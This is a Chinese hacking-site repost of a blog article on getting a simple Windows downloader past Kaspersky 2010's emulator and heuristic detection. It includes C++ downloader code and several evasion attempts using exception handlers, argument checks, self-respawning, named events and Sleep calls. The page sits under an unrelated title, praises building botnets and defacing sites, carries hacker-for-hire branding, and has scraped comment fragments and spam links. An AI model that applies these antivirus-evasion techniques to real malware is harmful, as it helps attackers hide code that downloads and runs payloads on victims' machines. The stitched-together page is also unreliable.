当前位置:首页 > 黑客技术 > 正文内容

黑客之父(黑客教父郭盛华有师傅吗)

hacker11小时前黑客技术1

  据我了解在卡巴7中就有虚拟启发式查毒的功能。国内就有人在BLOG上发表了一篇如何突破卡巴7的虚拟机启发式查毒的文章[1]。卡巴8和最新的卡巴2010中仍然具有该功能。卡巴斯基不用我多说了,大家都知道。

  我最近在网上查到有人说卡巴斯基是俄罗斯国家科学院合作开发的,军方和克里姆林宫专用。这个我还真的不清楚了,请原谅我的无知。我先来说下什么是虚拟机启发式杀毒。

黑客之父(黑客教父郭盛华有师傅吗)

  我认为在这里的虚拟机启发式杀毒应该可以理解为在虚拟机中执行和启发式杀毒。虚拟机即构造一个虚拟执行环境或者说一个仿真的环境,将病毒等恶意代码在该仿真的环境中运行实现自己脱壳等等。该仿真的环境和用户计算机的真实环境是隔离的。

  

  请输入图片描述

  我们都曾经一窍不通,都曾经艰难前行,都曾经期待成功,也都经受过一次又一次惨痛失败,还记得曾经玩远控花了整整两周才等到第一个肉鸡上线的激动难以言表,还记得当年花了整整一个月才在一个日本网站上挂上了“巍巍中华,国耻未忘”的黑页时兴奋得彻夜难眠,虽然,那些日子如此之近,但是,在黑客世界艰难爬行的我们,仿佛经历了千山万水,我现在正在经历的,所有初入界内的小白们也必将经历。——黑客攻防书籍《网络黑白》选段 某宝有。

  举个例子:现在的恶意代码都采用加壳为自己提供保护,尤其是一些已知病毒的变种。当采用虚拟机执行技术加壳保护的恶意代码仍能被杀毒软件检测到,有能力的读者可以自己实验一下。

  启发式指的是自我发现并推断或判定事物的方式。启发式杀毒通过分析程序指令的序列或者API函数的调用顺序以及其他恶意代码与正常程序的不同等经验和知识的组合来判定是否是恶意代码。这样的启发式杀毒具备某种人工智能特点。它的优点不用我多说废话,举个例子:Downloader相信大家都知道,最重要的两个API是URLDownloadToFile和ShellExecute(也可以是其他执行一个程序的API)。例如,在使用虚拟机启发式杀毒时,当被查毒程序的API调用序列中出现URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile后ShellExecute的调用顺序是不会被报Downloader的。

  可以说由于主动防御技术的种种缺点,现在各杀毒软件厂商已经将虚拟机杀毒和启发式杀毒作为杀毒业界的追求和探索的目标。可以预见到在未来几年内杀毒软件将不再会出现当正常使用系统和软件时频繁弹出主动防御窗口的尴尬。

  接下来将通过上面提到的Downloader例子分析下卡巴的虚拟机启发式查毒的特点,并在最后给出一种可能的绕过方法和演示代码,供各位看官赏玩。

  我假设您已经知道什么是Downloader,一个最简单的Downloader是:

  #include "stdafx.h" #include <urlmon.h> #include <Shellapi.h> #pragma comment (lib,"Urlmon.lib") int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return 0; }

  这个程序是使用Visual Studio 2008创建的Win32窗口工程。编译后卡巴2010直接报Downloader。首先使用了之前提到的xyzreg提到的方法,现在在卡巴2010下已经不适用,简单的测试了一下卡巴2010会把自己模拟成explorer.exe。所以检查父进程是否是explorer.exe的方法不行了,但是如果检查自己的父进程是否是cmd.exe就可以了。当然这个实用性并不强,因为要求Downloader必须由cmd.exe启动。

  我觉得应该有其他的方法可以逃过虚拟查毒,但是这里只从虚拟查毒本身入手。首先想到的是这个虚拟机和真实环境是否有区别?这个回答当然是肯定的。但是这些区别在哪里,这些区别是否会影响到。是否存在一种情况虚拟机无法虚拟而导致虚拟环境下无法执行到URLDownloadToCacheFile和ShellExecute那就不会检查到是Downloader了。这个思想很简单,然后要怎么实现呢。

  首先想到虚拟机是否虚拟了异常处理,如果没有虚拟异常处理,那我们认为的制造一个异常,将具有Downloader特性的API调要放到异常处理程序中不就绕过了吗。于是有了下面的代码

  BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult) { __try { *pResult = dividend / divisor; } __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return TRUE; } return TRUE; }

  在Downloader的程序入口以参数divisor为0调用这个SafeDiv函数,。这样就会产生一个除0的错误。结果是卡巴报Downloader!看样子卡巴有对异常处理虚拟的能力。

  恩。。。如果我在代码中添加int 3中断会发生什么情况呢?应该也虚拟了。现在就来试试,果然在Downloader入口添加int 3后当然是查不出来了,呵呵,程序也运行不了了。接下来就看看能不能找到方法让程序在真实情况下能运行在,虚拟机下停住了。没有多久想了一个替代的方法,判断程序的输入参数。通过检查程序的输入参数来控制程序的执行流程。简单的在Downloader入口添加判断程序参数的代码:

  if(strcmp(argv[1],"1")!== 0) return;

  程序运行时输入参数“1”程序执行Downloader的功能,在虚拟机中执行时没有参数输入所以程序返回,检测不到恶意函数调用顺序。当然这样的恶意代码是丑陋的,所以我想到使用CreateProcess来启动Downloader自己的另一个实例。代码如下:

  部分变量声明和初始化代码省略。。。

  INT32 divisor = 1; if(argc == 1) { TCHAR szPath[MAX_PATH]; GetModuleFileName(NULL,szPath,MAX_PATH); CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,π); ExitProcess(0); return; } if(strcmp(argv[1],"2") == 0) divisor = 0; SafeDiv(10,divisor,&Result); ExitProcess(0); return; }

  编译成功后,使用卡巴2010查毒。报Downloader!失望啊!

  将对函数参数检查的方式换成使用“命名对象”的方式:

  //定义一个“命名对象” TCHAR szMutex[] = L”11111”; HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex); int tmp = GetLastError(); if(tmp == 0) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( π, sizeof(pi) ); TCHAR szPath[MAX_PATH]; GetModuleFileName(NULL,szPath,MAX_PATH); CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π); return 0; } TCHAR szFileName[MAX_PATH] = {0}; URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return 0;

  报Downloader!失望!

  看样子卡巴的虚拟机对API的模拟和程序执行的流程虚拟很到位!不知道对时间的虚拟的怎么样?代码中有Sleep(10000000)的语句会不会影响虚拟查毒的时间呢?根据我的实验在其中加入Sleep函数睡眠很长的一段时间并没有影响虚拟杀毒查出Downloader的时间,所以估计对时间的虚拟可能不好。将上面的代码中在CreateProcess调用之后调用Sleep睡眠一段较长的时间如5秒,然后调用CloseHandle关闭“命名事件”。

黑客之父(黑客教父郭盛华有师傅吗)

  如果卡巴遇到Sleep函数简单的跳过,则在虚拟机中执行的顺序将是先执行Sleep后的CloseHandle关闭事件,然后再进入到新实例中创建“命名事件”,在这种情况下就能创建成功,所以程序的执行流程不会进入到URLDownloadToCacheFile处,以此绕过检测。但是实际情况时仍然被报Downloader,说明卡巴2010对Sleep等时间相关的函数虚拟的也很好。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/150633.html

标签: 黑客之父
分享给朋友:

“黑客之父(黑客教父郭盛华有师傅吗)” 的相关文章

华流年京东618怎么买便宜

京东618活动已经在火热进行中的哦,各位有买什么东西了吗?很多小伙伴在活动一开始的时候就迫不及待的买了很多东西了,还有些小伙伴还很犹豫不知道买啥,接下来百思特小编就来教教大家2020年京东618怎么便宜吧~ 京东618怎么买便宜 活动时...

接单的黑客_可以找黑客黑美团吗

有在网络安全范畴中,猜测网络违法和歹意软件发展趋势好像现已成为了各大网络安全公司的传统了。 为了防止让咱们去阅览上百页的安全陈述,咱们专门整兼并总结了McAfee、Forrester、FiskIQ、卡巴斯基实验室【1、2、3】、WatchGuard、Nuvias、FireEye、CyberArk、F...

黑客了解,中国黑客越南网络apt,黑客网站密码破解工具

6.42 · hxxp[://]offlineearthquake[.]com/file//?id=&n=000 进程三:使命履行及实时数据剖析10.61 2019年6月19日,FireEye Endpoint Security设备上收到了缝隙检测警报。 违规应用程序被辨认为Microso...

安宫牛黄丸现在价格 - 天地和堂安宫牛黄丸多少钱

一丸280元左右.装同仁堂安宫牛黄丸,那个年代的这个玩意,中医说法多少,体外培育牛黄。 两丸,字[2000]201号\制定安宫牛黄丸等药品价格的批复,到正规的同仁堂自己品牌的药店购买,价格不一样,希望懂得.天然牛黄天然麝香。北京同仁堂牛黄解毒丸的市场价格在2005年。 绿色木盒这三种包装的价格一样,...

Webshell安全检测篇

0x00 依据流量的检测办法 1.概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分...

韵达快递物流查询(韵达快递号查询递)

点全部:10收件公司:福建福安市公司2013-01-2307:50:31到达江苏南通中转站发往江苏海安县公司2013-01韵达-2409:23:13到达江苏海安县公司进行派送扫描,将发往:广西南宁查询,我查下单号:12001678942网上查总是验证码不对.再输入你的单号,韵达快递http。 LP开...

评论列表

余安七禾
4小时前

) return;  程序运行时输入参数“1”程序执行Downloader的功能,在虚拟机中执行时没有参数输入所以程序返回,检测不到恶意函数调用顺序。当然这样的恶意代码是丑陋的,所以我想到使用CreateProcess来启动Downloader

世味旧竹
6小时前

程序的API调用序列中出现URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile后ShellExecute的调用顺序是不会被报Downloader的。  可以说由于主动防御技术的种种缺点,现在各杀毒软件厂商已经将

双笙长野
41分钟前

ows\\notepad.exe",szFileName,MAX_PATH,0,NULL); ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW); return TRUE; } return T

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。